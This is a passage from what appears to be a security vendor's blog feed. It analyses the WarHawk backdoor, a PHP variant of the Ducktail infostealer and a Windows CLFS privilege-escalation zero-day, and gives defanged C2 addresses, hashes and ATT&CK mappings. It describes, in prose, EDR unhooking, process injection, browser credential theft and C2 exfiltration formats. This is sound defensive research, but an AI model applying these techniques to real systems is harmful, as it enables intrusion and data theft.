Binary Fig 2. Contents of the Malicious ISO File The .LNK File had a PDF icon to lure the victim into execution. Once the .LNK File is executed, it runs the malicious binary “RtlAudioDriver.exe” along with the decoy PDF “32-Advisory-No-32-2022.pdf” to distract the victims. It does so with the help of the command shown in the following screenshot. Fig 3. Execution of Malicious Binary & Decoy PDF via the LNK File Following is the Decoy PDF executed by the LNK File with the Subject: Phishing Site - Masqueraded Links (Advisory No. 32) in the screenshot below Fig 4. Decoy PDF The content for the PDF was copied from an actual advisory previously released by the Cabinet Division of Pakistan Government regarding the “Masqueraded Links used by the Malicious Actors in Phishing Campaigns” on their official website cabinet[.]gov[.]pk Link: https[:]//cabinet[.]gov[.]pk/SiteImage/Misc/files/NTISB%20Advisories/2022/32-Advisory-No-32-2022[.]pdf Fig 5. Original Advisory on Pakistan Government Cabinet Division Website Alongside the Decoy PDF, the Malicious binary “RtlAudioDriver.exe'' is also executed by the LNK File. A few days after this initial discovery, ThreatLabz came across another related ISO File named “33-Advisory-No-33-2022.pdf.iso” which similarly copied a real “Advisory No. 33” from the Pakistan Cabinet Website as a lure. This ISO similarly consisted of three files, including aWindows Shortcut file commissioned to execute the binary “MSbuild.exe” and a decoy PDF “33-Advisory-No-33-2022.pdf” to fool the victims as shown in the screenshot below. Fig 6. 33-Advisory-No-33-2022 Campaign Upon analyzing both the binaries “RtlAudioDriver.exe” and “MsBuild.exe,” we discovered that this was a new backdoor added to the arsenal of the SideWinder APT Group. We termed it “WarHawk” Backdoor based on the CnC panel title, as shown in the below screenshot. In this case, the “MsBuild” binary is the newer version of the backdoor, with a few additional features compared to “RtlAudioDriver” (the older one). Below, we will share our in-depth analysis to understand the inner workings of the WarHawk Backdoor. Fig 7. WarHawk CnC Panel Analysis - WarHawk Backdoor The “WarHawk Backdoor” disguises itself as legit applications to lure unsuspecting victims into execution, as shown in the screenshot below. Fig 8. WarHawk Backdoor disguises as legit applications Once executed, the WarHawk first enumerates the base address of the Kernel32.dll by iterating the InMemoryOrderModuleList linked list present in the Process Environment Block (PEB). The instructions it uses are shown in the screenshot below. Fig 9. Enumerate Base Address of Kernel32.dll via PEB Once the base address of Kernel32.dll is enumerated, WarHawk then decrypts a set of API & DLL names using a String Decryption Routine which takes the Encrypted Hex Bytes as an input and then subtracts each byte with the Key: "0x42" in order to decrypt the string. Fig 10. String Decryption Routine - WarHawk Leveraging the decryption logic, we wrote a string decryptor for the WarHawk backdoor through which we were able to decrypt the following Strings from the Encrypted Hex Blobs: LoadLibraryA GetUserNameA GetCurrentHwProfileA Advapi32 GetProcAddress GetComputerNameA Fig 11. Decrypted Strings from the WarHawk String Decryptor Initially the WarHawk decrypts the LoadLibraryA and GetProcAddress API Names, then loops through all the exported functions from the Export Table and compares them with the decrypted function names. If the comparison matches, it fetches the address of the corresponding function name—in this case, LoadLibraryA() and GetProcAddress(). Fig 12. Fetches the Address of the Decrypted Function Names Next, it decrypts the string “Advapi32'' and loads the Advapi32.dll into the virtual memory with the help of LoadLibraryA(). It then retrieves the address of the GetCurrentHWProfileA() function via the GetProcAddress() from the Advapi32.dll. Here, the GetCurrentHWProfileA string is decrypted via a similar string decryption routine. After decryption, it executes the GetCurrentHWProfileA() to retrieve the GUID (Globally Unique Identifier) for the hardware profile. Fig 13. Retrieves the GUID for the hardware profile using GetCurrentHWProfileA The retrieved GUID is then concatenated with the _hwid parameter in the following JSON format: { "_hwid": "{GUID}" } As shown in the screenshot below: Fig 14. GUID concatenated with the _hwid parameter Further, the WarHawk Backdoor sends across an initial beacon POST request to the hardcoded Command & Control Server “146[.]190[.]235[.]137” using the HTTPSendRequestW() with the GUID in the JSON format as its parameters and the request URL “/wh/glass.php,” as shown and explained in the screenshot below: Fig 15. Initial Beacon Request to the CnC Server with the GUID Now it reads the response via InternetReadFile(). If the response is “0” in the newer sample and “1” in the older sample, it gathers the following System Information as mentioned below and then sleeps for 2 seconds: Retrieves the Computer/NetBios Name via GetComputerNameA() Retrieves the UserName via GetUserNameA() Retrieves the Windows Product Name from the “SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName” Registry Key via the RegQueryValueExA() Once all of the above mentioned system information has been gathered it is arranged in the following JSON format using the similar wsprintf() method explained previously: { "_hwid": "{GUID}", "_computer": "Computer_Name", "_username": "User_Name", "_os": "Windows_Product_Name" } It then sends across the System information in the JSON format to the Command & Control server using the HTTPSendRequestW(), as shown and explained in the screenshot below: Fig 16. Gathered System Information sent across to the CnC server After sending the System Information, it sends a JSON ping request to the Command and Control server as shown in the screenshot below, using the similar WinINet functions: Fig 17. JSON Ping Request to the CnC Server If the response to the JSON ping request is “del” as shown in the screenshot below, WarHawk skips the main malicious functions and sends across a “_del”: “true” request to the Command and Control and then exits the process as shown in Fig 19. Fig 18. JSON Ping Request to the CnC Server Fig 19. Sends DEL Request and Exits the Process If the response to the JSON ping request is not “del”, the WarHawk Backdoor executes the backdoor modules integrated in WarHawk: Download & Execute Module This module is responsible for downloading and executing additional payloads from the remote URL provided by the CnC server. At first, the WarHawk sends across a task initiation request to the Command and Control as shown in the screenshot below. This request is in the JSON format using a similar Send_Req function incorporating the WinINet functions. Fig 20. WarHawk Task Initiation Request The CnC responds to this request in the following JSON format with the id, type, and remote URL: { "_task": "true", "_id": "id_no", "_type": "type_no", "_url": "Remote_URL" } In the below screenshot, we can see the response from the CnC. It contains a remote URL that leads to the Stage-2 payload, which would be downloaded and executed further by the backdoor. Fig 21. Response to Task Initiation Request consisting of the Remote URL Once the JSON response is received, the WarHawk then parses the parameters _id, _type and _url using an ultralight weight JSON parser library “cJSON,” as shown below. Fig 22. Parse JSON Response parameters using cJSON Further it checks the parsed _type parameter. If _type value is “1” the backdoor downloads the additional payload from the parsed _url parameter containing the Remote URL, with the help of the URLDownloadToFileA function, into the Temp directory where the filename is randomly generated and concatenated with the extension provided in the remote URL. Once the payload is downloaded the backdoor executes the downloaded payload with the help of the ShellExecuteA() function. If the _type is “2” then the payload must be a “Dynamic Link Library,” as in this case the payload is downloaded via URLDownloadToFileA and then loaded into the virtual memory using LoadLibrary(). Finally, if the _type is “3,” then the process is similar to the _type value “1”. The only difference is that the process exits at the end through the ExitProcess() function. Fig 23. Download and Execute Additional Payloads from the Remote URL Once the Stage-2 payload is downloaded and executed on the infected machine and the task is completed, the WarHawk sends across a Task Completion request to the Command and Control server in the following manner: Fig 24. WarHawk Task Completion Request Thus, in the following manner the additional payloads are downloaded and executed from the Remote URL served from the CnC server. In this case there are multiple payloads which are downloaded and executed by the WarHawk backdoor which are analyzed later in the blog. Command Execution Module The command execution module is responsible for execution of system commands on the infected machine received from the Command & Control. WarHawk starts by sending across the Command Execution Initiation request with the GUID of the system as shown in the screenshot below. Fig 25. WarHawk Command Execution Initiation Request The response to this Initiation request consists of the command to be executed. Let’s analyze the routine assuming that the received command is “whoami”. The received command is passed as an argument to the CMD.exe process which has been spawned using ShellExecuteA. The command arguments passed to the CMD.exe process can be seen in the screenshot below. Fig 26. WarHawk Command Execution In this case, the output of the command received from the CnC “whoami” is stored in a “.bin” file in the Temp directory where the file name is generated using a random name generator function, as shown above. Further, this “.bin” file in the Temp Directory is read using ReadFile() and then deleted to clear its tracks. The command output content is then base64 encoded, arranged in the following JSON format, and then sent across to the Control Control server 146[.]190[.]235[.]137 using HttpSendRequestW(): { "_hwid": "GUID", "_cmd_done": "true", “_response”:”base64enc_cmd_output”} Fig 27. Sending Command Output response to CnC Server If there is no output of the command executed on the machine, it sets the _response parameter as “0” in the JSON response. Thus, in the following manner the WarHawk performs the command execution routine where it receives the commands from the Command and Control and the backdoor executes them and sends the output to the CnC in an base64 encoded platform. Here the routine executes in a loop until the response to the JSON Ping request is not “del,” allowing the Threat actors to execute multiple commands on the infected machine. File Manager InfoExfil Module The following module is responsible for gathering and sending across the File Manager information by initially sending across an Module initiation request to the CnC server as shown below: Fig 28. File Manager Initiation Request Now if the response to the initiation request is “drive” the WarHawk determines the drive type by looping through the drive letters from A-Z. Itfirst checks whether the drive exists with the help of PathFileExistsA(); if it exists, it then fetches the drive type using GetDriveTypeA() such as DRIVE_FIXED or DRIVE_REMOVABLE as shown and explained in the below screenshot: Fig 29. Determine Drive Type After this, the gathered information consisting of the existing drives and their types is sent across to the CnC in the following JSON format: Fig 30. Drive Information sent across to CnC in JSON Format Further if the response to the initiation request is a Directory Path such as “C:\Dump\,” then the backdoor searches in the following directory for files and folders recursively using FindFirstFileA() and FindNextFileA(). Whilst performing the recursion it fetches the File Name, File size, Modification date, File Type, and then towards the end sends across all the information to the CnC Server in the JSON format: Fig 31. WarHawk sends across File/Folder information to CnC in JSON Format UploadFromC2 Module The following module is a new feature added in the latest WarHawk Backdoor (MsBuild.exe), allowing the threat actor to upload files on the infected machine from the Command and Control Server. Initially the UploadFromC2 Module sends across a routine initiation request to the CnC server in the following JSON format: Fig 32. UploadFromC2 Module initiation request The response to this request should be a JSON response received from the CnC server consisting of following two parameters: _upload - File name of the target file to be uploaded on the infected machine from the CnC server _path - Path where the target uploaded file is to be saved on the infected machine Further the JSON response is parsed using the previously used cJSON Library, and then the _upload value is concatenated with the hardcoded CnC URL: http[:]\\146[.]190[.]235[.]137\wh. For example, if _upload = “stage2.exe,” the final URL becomes http[:]\\146[.]190[.]235[.]137\wh\stage2.exe. The WarHawk then downloads the file from the final CnC URL: http[:]\\146[.]190[.]235[.]137\wh\stage2.exe using URLDownloadToFileA() and writes it to the current directory using the same file name “stage2.exe” (or, if the _path value exists, it writes the downloaded file to that path as shown in the routine below): Fig 33. UploadFromC2 Module Routine As can be seen from the screenshot, if the file has been downloaded successfully the WarHawk backdoor then sends a JSON request to the CnC Server with “_uploadstatus”:“true” and if not sends across “_uploadstatus”:”false”. In the following way the WarHawk Backdoor performs its espionage activities by incorporating various modules. Stage 2 Analysis Based on the analysis of the WarHawk backdoor, we are aware that the backdoor has the capability to download and execute additional payloads. While tracking the SideWinder’s espionage campaign we came across WarHawk downloading three additional Stage-2 Payloads from the Command and Control at the time of writing this blog. Below, we analyze the Stage-2 Payloads downloaded by WarHawk. Snitch.exe - Cobalt Strike Loader using KernelCallbackTable Process Injection The WarHawk downloads and executes the Cobalt Strike Loader using the Download & Execution Module from CnC URL: http[:]//146[.]190[.]235[.]137/Snitch.exe. Once executed the Loader performs the following Anti-Analysis checks: Anti-Sandbox: - Checks whether the Numbers of Processors are at least two using GetSystemInfo() - Checks Minimum RAM using GlobalMemoryStatusEx() - Checks whether the Hard Disk drive size is greater than 40GB via sending a IOCTL_DISK_GET_DRIVE_GEOMETRY control code to the PhysicalDrive0 via DeviceIoControl Time-Zone Check: The Loader performs the Time Zone Check using GetDynamicTimeZoneInformation(), It inspects whether the time zone under which the code executed is “Pakistan Standard Time;” if not, the loader does not perform any malicious actions and exits the process. From this check we can deduce that the malware is specifically targeted towards Pakistan by the SideWinder APT Group: Fig 34. Anti-Analysis Checks Once all the Anti-Analysis Checks are satisfied, the loader then unhooks the NTDLL.dll (hooked) by mapping another fresh copy of NTDLL using MapViewOfFile() in memory and then replaces the .text section of the hooked NTDLL with the .text section of the fresh NTDLL. This technique allows the Loader to evade Userland API hooks placed on the Native API’s by EDRs. Fig 35. NTDLL UnHooking Further the loader performs the KernelCallbackTable Process Injection in order to inject shellcode into a remote process. This technique was previously used by FinFisher and Lazarus APT Group, but now is also used by SideWinder APT. The process injection code in this case has been reused from the following blog as can be seen in the screenshot below: Fig 36. Reused KernelCallbackTable Process Injection Routine Now once initiated the Loader injects the shellcode in the remote process “notepad.exe” and then executes the payload when the SendMessageW function is called with WM_COPYDATA, which in turn invokes fnCOPYDATA which points to the address of the payload. The following sample was crashing once executed but upon patching a few instructions related to WaitForInputIdle() function we were able to execute it seamlessly and then debug the shellcode which then decrypted and loaded the embedded binary in the virtual memory. We further dumped the loaded binary which was a Cobalt Strike Beacon as seen in the screenshot below: Fig 37. Cobalt Strike Beacon Injected into the Remote Process via KernelCallbackTable Process Injection Further we found multiple similar CS Loaders and extracted the configuration for the Cobalt Strike Beacons: Beacon Type: Hybrid HTTP DNS Cobalt Strike C2: fia-gov[.]org Fig 38. Cobalt Strike Configuration - 1 OneDrive.exe and DDRA.exe - Cobalt Strike Beacons Along with the CS Loader, both of these payloads were also downloaded and executed from the CnC Server URL: http[:]//146[.]190[.]235[.]137/OneDrive.exe and http[:]//146[.]190[.]235[.]137/DDRA.exe. We extracted the configuration for both the Cobalt Strike beacons with similar CnC servers as seen in the screenshot below: DDRA.exe - Beacon Type: Hybrid HTTP DNS Cobalt Strike C2: fia-gov[.]org Fig 39. Cobalt Strike Configuration - 2 OneDrive.exe Beacon Type: Hybrid HTTP DNS Cobalt Strike C2: fia-gov[.]org Fig 40. Cobalt Strike Configuration - 3 The CnC server domain: fia-gov[.]org used by the SideWinder APT mimics the domain name of Pakistan’s Federal Investigation Agency fia[.]gov[.]pk which is the premier agency of Pakistan at national level to investigate federal crimes. Also we found another similar CS Loader sample with the CnC server as: customs-lk[.]org, in this case it mimics the domain name of Sri Lanka Customs customs[.]gov[.]lk, possibly a SideWinder campaign targeting Sri Lanka. The “campaign_id” in this case is similar to the CS Loader analyzed previously as can be seen in the screenshot below. Fig 41. Cobalt Strike Configuration - 4 Attribution to SideWinder APT SideWinder APT is reckoned as a Indian Threat Actor Group predominantly targeting Pakistan. We were able to attribute the following campaign to the SideWinder APT based on the network infrastructure as shown below in the graph. Fig 42. SideWinder Network Infrastructure As can be seen in the above screenshot, the IP: 3[.]239[.]29[.]103 hosts the domains “fia-gov[.]org” and “customs-lk[.]org” which were the CnC servers for the Cobalt Strike beacons in the following campaign as shown earlier. Now if we take a look at the following other domains hosted on the same IP: nationalhelpdesk[.]pk mofa-pk[.]org sngpl[.]org[.]pk These domains were previously reported and were actively used by the SideWinder APT Group for espionage campaigns. Based on the reuse of the network infrastructure we can deduce that this WarHawk campaign is also performed by the SideWinder APT Group targeting Pakistan. The indicators listed below also assist us in determining that the campaign is targeted at Pakistan: ISO files hosted on the Pakistan’s National Electric Power Regulatory Authority website Advisories released by the Pakistan’s Cabinet Division used as a lure Time Zone check for “Pakistan Standard Time” which makes sure that the malware is only executed under Pakistan Standard Time. Zscaler Sandbox Coverage: Fig. 43 The Zscaler Cloud Sandbox successfully detected the WarHawk backdoor Win32.Backdoor.WarHawk Conclusion The SideWinder APT Group is continuously evolving their tactics and adding new malware to their arsenal in order to carry out successful espionage attack campaigns against their targets. The Zscaler ThreatLabz team will continue to monitor these attacks to help keep our customers safe MITRE ATT&CK TTP MAPPING ID TACTIC TECHNIQUE T1566 Initial Access Phishing T1190 Initial Access Exploit Public Facing Application T1204 Execution User Execution T1059 Execution Command and Scripting Interpreter T1140 Defense Evasion Deobfuscate/Decode Files or Information T1564 Defense Evasion Hide Artifacts T1055 Defense Evasion Process Injection T1071.001 Command and Control Application Layer Protocols - Web Protocols T1041 Exfiltration Exfiltration over C2 Channel IoCs: ISO: 32-Advisory-No-32.iso: d510808a743e6afc705fc648ca7f896a URL: nepra[.]org[.]pk/css/32-Advisory-No-32[.]iso 33-Advisory-No-33-2022.pdf.iso: 63d6d8213d9cc070b2a3dfd3c5866564 WarHawk Backdoor: WarHawk_v1: 8f9cf5c828cb02c83f8df52ccae03e2a WarHawk_v1.1: 5cff6896e0505e8d6d98bff35d10c43a CnC: 146[.]190[.]235[.]137/wh/glass[.]php Cobalt Strike: Snitch.exe CS Loader: ec33c5e1773b510e323bea8f70dcddb0 URL: 146[.]190[.]235[.]137/Snitch[.]exe OneDrive.exe CS Beacon: d0acccab52778b77c96346194e38b244 URL: 146[.]190[.]235[.]137/OneDrive[.]exe DDRA.exe CS Beacon: 40f86b56ab79e94893e4c6f1a0a099a1 URL: 146[.]190[.]235[.]137/DDRA[.]exe Cobalt Strike CnC: fia-gov[.]org & customs-lk[.]org Fri, 21 10月 2022 09:00:01 -0700 Niraj Shivtarkar New PHP Variant of Ducktail Infostealer Targeting Facebook Business Accounts Introduction In evaluating the spate of info-stealing malware being distributed over past couple of months, the Zscaler ThreatLabz research team has come across an interesting campaign. The PHP version of Ducktail Infostealer is actively being distributed by pretending to be a free/cracked application installer for a variety of applications including games, Microsoft Office applications, Telegram, and others. Ducktail has been around since 2021, and is attributed to a Vietnamese threat group. Campaigns to-date have focused on taking over Facebook Business accounts, both to manipulate pages and to access financial information. This blog will show the attack chain, decipher and explain the stages of execution, and provide technical analysis of the PHP code of Ducktail Infostealer. Executive summary The instances of the Ducktail infostealer were identified in late 2021. In July 2022, WithSecure Labs observed that the threat actors were targeting higher-level employees with access to their organization’s Facebook Business account, with the intent of stealing data and hijacking the accounts. Earlier versions (observed by WithSecure Labs) were based on a binary written using .NetCore with Telegram as its C2 Channel to exfiltrate data. In August 2022, the Zscaler Threatlabz team saw a new campaign consisting of a new edition of the Ducktail Infostealer with new TTPs. Like older versions (.NetCore), the latest version (PHP) also aims to exfiltrate sensitive information related to saved browser credentials, Facebook account information, etc. In this campaign, we have seen that the threat actors keep data on a newly hosted website in the JSON format. This data is used and called later on to perform stealing activities on the victim’s machine. Once the theft is completed, the same website is used to store the stolen data. The threat actors are now targeting the public at large, rather than specifically targeting employees with Admin or Finance access to Facebook Business accounts. While exploring the campaign, we observed that the malicious executable files are mostly in .ZIP format and hosted on file sharing platforms, posing as cracked or free versions of Office applications, games, subtitle files, porn related files, and others. Attack Chain & Flow of Execution The following figure is a pictorial representation of how the PHP version of Ducktail stealer is being distributed and its execution on the victim's machine. Figure 1: Attack chain & Flow of Execution Similar to previous attacks, the malicious installer is being hosted at a file hosting website which in our case was “mediafire[.]com”. However, compared to previous campaigns, changes have been made in the execution of malicious code. Now, the threat actors have switched to a scripting version whereby the main stealer code is a PHP script and not a .Net binary. For the purpose of analysis, we have taken DF071DF2784573C444CA6E1421E3CB89 md5 to demonstrate the execution flow and to explain the PHP script carved out from the same. Execution Flow Upon execution, the fake installer pops-up a ‘Checking Application Compatibility’ GUI in the frontend. In the backend, it generates a .tmp file that re-initiates the installer with “/Silent” parameter and thereafter another .tmp file gets generated. The latter generated .tmp file then drops all the supporting files and malicious files at “%Localappdata%\Packages\PXT\v2-0\” location (in our present scenario) and then executes two processes (as depicted in above figure) to achieve the below mentioned purposes. Job Scheduling/Persistence: To achieve persistence, a series of events takes place to execute the malicious payload, named “libbridged.exe”, on the system. Its purpose or functionality is to schedule tasks in three forms to ensure that the malicious code gets executed on a daily basis and on regular intervals. In order to achieve the same, a PHP script is passed as an input to the php.exe rather than directly leveraging the job scheduling binary. The PHP script (in our present case named as “switcher.php”) consists of code to decrypt a base64 encoded text file (which in our case is named as “switcher.txt”). The execution of the decrypted version of the text file will lead to the execution of the custom job scheduling binary as the final outcome, as shown in the below screenshot. Figure 2: Job Scheduling The job scheduling binary is a dotNet binary. The below figure exhibits the code present inside the binary, aiming to schedule tasks at three different levels. Figure 3: Code of custom Job scheduling binary Stealing of data and its exfiltration: Similar to previous steps, the stealer code also gets decrypted at runtime in memory and subsequently performs stealing operations and exfiltration of data. The code explanation of the same will be discussed later. It is worth noting that instead of making a one-go binary that would perform all actions, the threat actors have divided the execution into parts based on their intended purpose. With that, let’s dive into the technical analysis of the Ducktail PHP code. Code Analysis of Ducktail PHP script Here, the primary task is to call a PHP script which performs malicious functions in the system. Instead of calling the script directly, it walks through a sequence of steps. We are able to fetch the decoded malicious code through memory and following are the findings of it: Maware functionality summary Fetches browser information installed in the system. Pulls out stored information of browser cookies from the system. Targets Facebook Business accounts. Looks for crypto account information in the wallet.dat file. Collects and sends the data to the command and control (C&C) server. Firstly, the stealer creates PHP Associative Arrays which will be used at the time of sending the data to C&C. Please find the following screenshot for this: Figure 4: Sending data to command-and-control server It uses the CURL command for receiving and sending the files over HTTP. Below is the list of switches used by malware during communication : CURLOPT_URL : Data to send CURLOPT_RETURNTRANSFER : Converts output to a string rather than directly to the screen. CURLOPT_ENCODING : tells the server what types of encoding it will accept. CURLOPT_MAXREDIRS : maximum number of redirects allowed CURLOPT_TIMEOUT : maximum time the transfer is allowed to complete CURLOPT_HTTP_VERSION : specifies HTTP protocol version to use CURLOPT_CUSTOMREQUEST : Request method such as GET, POST CURLOPT_POSTFIELDS : Data to POST to server. CURLOPT_SSL_VERIFYPEER : verifies the peer's SSL certificate. Value should be either TRUE or FALSE. Figure 5: CURL commands to send and receive data The following table articulates the various functions performed by the stealer: Command Description upload Victim sensitive information uploaded to the server getTask Creates the pattern of stolen data which will be sent during POST request getMac Fetches the details of machine ID from the victim system readDirs Gets the details of different directories from which data will be stolen deleteAllFolder Deletes all the files and folders where malware copied the stolen information Xcopy with 0755 Copies files and directories, including subdirectories with 0775 permission, which means read and execute access for everyone and also write access for the owner of the file BVZipArchive Compresses all the stolen files and folders Browser Extracts the information of installed browsers in the victim machine parseCookie Extracts details of browser cookies from the system parseChromium Extracts details of Chrome browser parseMoz Extracts details of Mozilla browser Browser Stealing The malicious script collects information about installed browsers in the system and extracts the required data from it such as machineID, browser version, and filename, and copies this data. It performs following steps during browser stealing: Gets the details of profiles used in Chrome browser. Using the profile we can maintain information of different accounts separately such as apps, bookmarks, accounts, etc. Gets the details of the local state file in the “%APPDATA%/Google/Chrome/User Data” in Windows. Local State is a JSON file that is located directly under Chrome's user data directory. This file allows you to find the list of created profiles. As it is a JSON file, it decodes to a PHP object using the “json_decode” function. Once it gets the local state file access, it tries to get the information for the os_crypt field present in the local state file which is base-64 encoded. This includes victims’ profile information and other highly sensitive data protected by OSCrypt by Chrome in the local state file. It tries to decode data using an AES 256 decrypt key which is called by currentdata40.exe file. Usually Chrome encrypts its highly sensitive data using AES 256 encryption. This feature is known as local data encryption. After that it encodes the stolen information to base64 and saves it to filename log.txt. Cookie information is saved to c.txt and then sent to C&C. It specifically checks if there is any cookie name with “Facebook” that has logged recently as well. Please find the screenshot below: Figure 6: Browser stealing routine Targeting Facebook to steal information The malware scrutinizes the various Facebook pages to steal information from them. These pages belong to Facebook API graph, Facebook Ads Manager, and Facebook Business accounts. It uses the c_user argument which is placed by Facebook to fetch the unique User ID of the victim machine, as shown in the below screenshot. Figure 7: c_user argument is used to fetch the Facebook user ID Looking over Facebook Business Ads Manager links, the malware will try to get details of accounts and payment cycles which it will later combine with details that have already been fetched from the local state file. Figure 8: Malware looks for account details The following are the details that the malware attempts to fetch from the Facebook Business pages: Payment initiated Payment required Verification Status Owner ad accounts Amount spent Currency details Account status Ads Payment cycle Funding source Payment method [ credit card, debit card etc.] Paypal Payment method [email address] Owned pages. Figure 9: Account fields being fetched Network activity Post infection, the PHP script tries to connect to the C&C server to get the list of contents stored in JSON format, which further will be used to gather information. The URL pattern of the same is shown below: Figure 10: Retrieving JSON data from command and control site Instead of using the hardcoded targeted folder names and URLs, the threat actors have kept a list of targeted folders and URLs which gets downloaded from the C&C panel first and then the information is collected. Figure 11: Contents kept at C&C location which will be used for achieving successful implementation of stealing code After it has completed its stealing activities, the malware then sends the data to its C&C server in JSON format, as shown in below figure. Figure 12: Stolen data sent to command and control server Conclusion It seems that the threat actors behind the Ducktail stealer campaign are continuously making changes or enhancement in the delivery mechanisms and approach to steal a wide variety of sensitive user and system information targeting users at large. Zscaler’s ThreatLabz team is continuously monitoring the campaign and will bring to light any new findings that it will come across. Zscaler Sandbox Report In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects payloads with following threat name: Win32.PWS.Ducktail Indicators of Compromise (IoCs) Md5 Filename PDB Path Purpose DF071DF2784573C444CA 6E1421E3CB89 Office Pro 2021.exe None To drop supporting files and executing the malicious files 2FE1997F5339F97598DA 1FEE5C1201A4 Cunprotectdata40.exe E:\Workspace\Projects\scancookieserver2\ ToolsCheckCookie\CUnProtectData\ obj\Release\cunprotectdata.pdb To drop supporting files and executing the malicious files F7C7E9C1CD68602F9BBB 5033B3794E26 Cunprotectdata20.exe E:\Workspace\Projects\scancookieserver2\ ToolsCheckCookie\CUnProtectData\obj\ Release\cunprotectdata.pdb customized utility for getting browser password decryption key 8DC37D09F1A77B939A7373 E6134E4824 libbridged.exe C:\Users\Elon Musk VB\Workspace\ scancookieserver2\ToolsCheckCookie\ UpdaterTriggerPHP\obj\Release\ libbridged.pdb Job Scheduling binary 321442C6546A63E5315EB321 341DFBBA libbridged.exe E:\Workspace\Projects\scancookieserver2\ ToolsCheckCookie\UpdaterTriggerPHP\ obj\Release\libbridged.pdb Job Scheduling binary 129a3ff92f28eda3cf830b53f19c acef switcher.txt None encoded text file which consists of commands to execute Job Scheduling binary 73443d64cd55f505a52a3e6705 07e231 bvone.txt None encoded text file which consists of stealer and exfiltration code MITRE ATT&CK AND TTP Mapping ID Tactic T1059 Command and Scripting Interpreter T1064 Scripting T1140 Deobfuscate/Decode Files or Information T1082 System Information Discovery T1083 File and Directory Discovery T1005 Data from Local System T1047 Windows Management Instrumentation T1003 OS Credential Dumping T1018 Remote System Discovery T1518.001 Security Software Discovery Thu, 13 10月 2022 09:00:01 -0700 Tarun Dewan Technical Analysis of Windows CLFS Zero-Day Vulnerability CVE-2022-37969 - Part 1: Root Cause Analysis On September 2, 2022, Zscaler Threatlabz captured an in-the-wild 0-day exploit in the Windows Common Log File System Driver (CLFS.sys) and reported this discovery to Microsoft. In the September Tuesday patch, Microsoft fixed this vulnerability that was identified as CVE-2022-37969, which is a Windows Common Log File System Driver elevation of privilege vulnerability. An attacker who successfully exploits this vulnerability may gain SYSTEM privileges. The 0-day exploit can execute the privilege escalation successfully on Windows 10 and Windows 11 prior to the September patch. The cause of the vulnerability is due to the lack of a strict bounds check for the SignaturesOffset field in the Base Block for the base log file (BLF) in CLFS.sys. A specially crafted client context array and a fake Client Context in the base log file, can exploit CLFS to overwrite the SignaturesOffset field with an abnormal value. This leads to a validation bypass for the cbSymbolZone field when a Symbol is allocated. Thus, an invalid cbSymbolZone field can produce an out-of-bound write at an arbitrary offset. In this two-part blog series, we will demystify the vulnerability and the 0-day exploit discovered in-the-wild. The blogs consist of two parts: an analysis of the root cause, and an analysis of the exploit. In this blog, we first present a detailed analysis of the root cause for CVE-2022-37969. Debugging Environment All analysis and debugging in this two-part blog series were conducted in the following environment: Windows 11 21H2 version 22000.918 CLFS.sys 10.0.22000.918 Introduction to CLFS Internals The Common Log File System (CLFS) is a general-purpose logging subsystem that can be used by applications running in both kernel mode and user mode for building high-performance transaction logs, and is implemented in the driver CLFS.sys. The Common Log File System generates transaction logs in a base log file (BLF). The concepts and terminology introductions for CLFS are specified in the official documentation from Microsoft. Prior to using CLFS, a log file is created using the CreateLogFile API. A log file is composed of a base log file that consists of metadata blocks, and several containers that store the actual data. The AddLogContainer API is used to add a container to the physical log that is associated with the log handle. Figure 1 illustrates the BLF format based on the official CLFS documentation and Alex Ionescu’s unofficial documentation. Figure 1. Base Log File (BLF) Format A base log file is made up of six different metadata blocks, which are the control block, base block, and truncate block along with their corresponding block shadows. The three types of records (Control Record, Base Record, and Truncate Record) can reside in these blocks. This blog only focuses on the Base Record that is relevant to this vulnerability. The Base Record comprises the symbol tables that store information on the client contexts, container contexts, and security contexts associated with the base log file. Every log block begins with a log block header, with the structure defined below: typedef struct _CLFS_LOG_BLOCK_HEADER { UCHAR MajorVersion; UCHAR MinorVersion; UCHAR Usn; CLFS_CLIENT_ID ClientId; USHORT TotalSectorCount; USHORT ValidSectorCount; ULONG Padding; ULONG Checksum; ULONG Flags; CLFS_LSN CurrentLsn; CLFS_LSN NextLsn; ULONG RecordOffsets[16]; ULONG SignaturesOffset; } CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER; The memory layout of the CLFS_LOG_BLOCK_HEADER structure whose size is 0x70 bytes has been illustrated in Figure 1. The SignaturesOffset field is the offset of an in-memory array that is used to store all sector signatures. The array should be located on the last sector in each block. The sector signature is located at the end of every sector (size: 0x200) and consists of a Sector Block Type (1 byte) and Usn (1 byte). The following enumerates the types of a sector. const UCHAR SECTOR_BLOCK_NONE = 0x00; const UCHAR SECTOR_BLOCK_DATA = 0x04; const UCHAR SECTOR_BLOCK_OWNER = 0x08; const UCHAR SECTOR_BLOCK_BASE = 0x10; const UCHAR SECTOR_BLOCK_END = 0x20; const UCHAR SECTOR_BLOCK_BEGIN = 0x40; In Figure 1, the Base Block starts at offset 0x800 and ends at offset 0x71FF in a .BLF file and starts with a Log Block Header (0x70 bytes), followed by the Base Record Header, followed by records. The Base Record Header can be represented by the CLFS_BASE_RECORD_HEADER structure described in Figure 2. Figure 2. The definition of the CLFS_BASE_RECORD_HEADER structure The structure layout of the CLFS_BASE_RECORD_HEADER structure is illustrated in Figure 3. Figure 3. The structure layout of Base Record Header in a .BLF file The Base Record begins with a header (CLFS_BASE_RECORD_HEADER) whose size is 0x1338 bytes, followed by related context data. In the CLFS_BASE_RECORD_HEADER structure, some important fields related to this vulnerability are described below: rgClients represents the array of offsets that point to the Client Context object. rgContainers represents the array of offsets that point to the Container Context object. cbSymbolZone represents the next free available offset for a new symbol in the symbol zone. In the Base Record, the Client Context, Container Context, and Shared Security Context are represented by symbols, which are preceded by the CLFSHASHSYM structure defined below: typedef struct _CLFS_NODE_ID { ULONG cType; ULONG cbNode; } CLFS_NODE_ID, *PCLFS_NODE_ID; typedef struct _CLFSHASHSYM { CLFS_NODE_ID cidNode; ULONG ulHash; ULONG cbHash; ULONGLONG ulBelow; ULONGLONG ulAbove; LONG cbSymName; LONG cbOffset; BOOLEAN fDeleted; } CLFSHASHSYM, *PCLFSHASHSYM; The memory layout of the CLFSHASHSYM structure is illustrated in Figure 4, followed by various context objects. Figure 4. CLFSHASHSYM structure (symbol header) In the Base Record, the client context is used to identify a client for a log file. At least one client context can be created in a base log file. The client context is represented by the CLFS_CLIENT_CONTEXT structure defined below: typedef struct _CLFS_CLIENT_CONTEXT { CLFS_NODE_ID cidNode; CLFS_CLIENT_ID 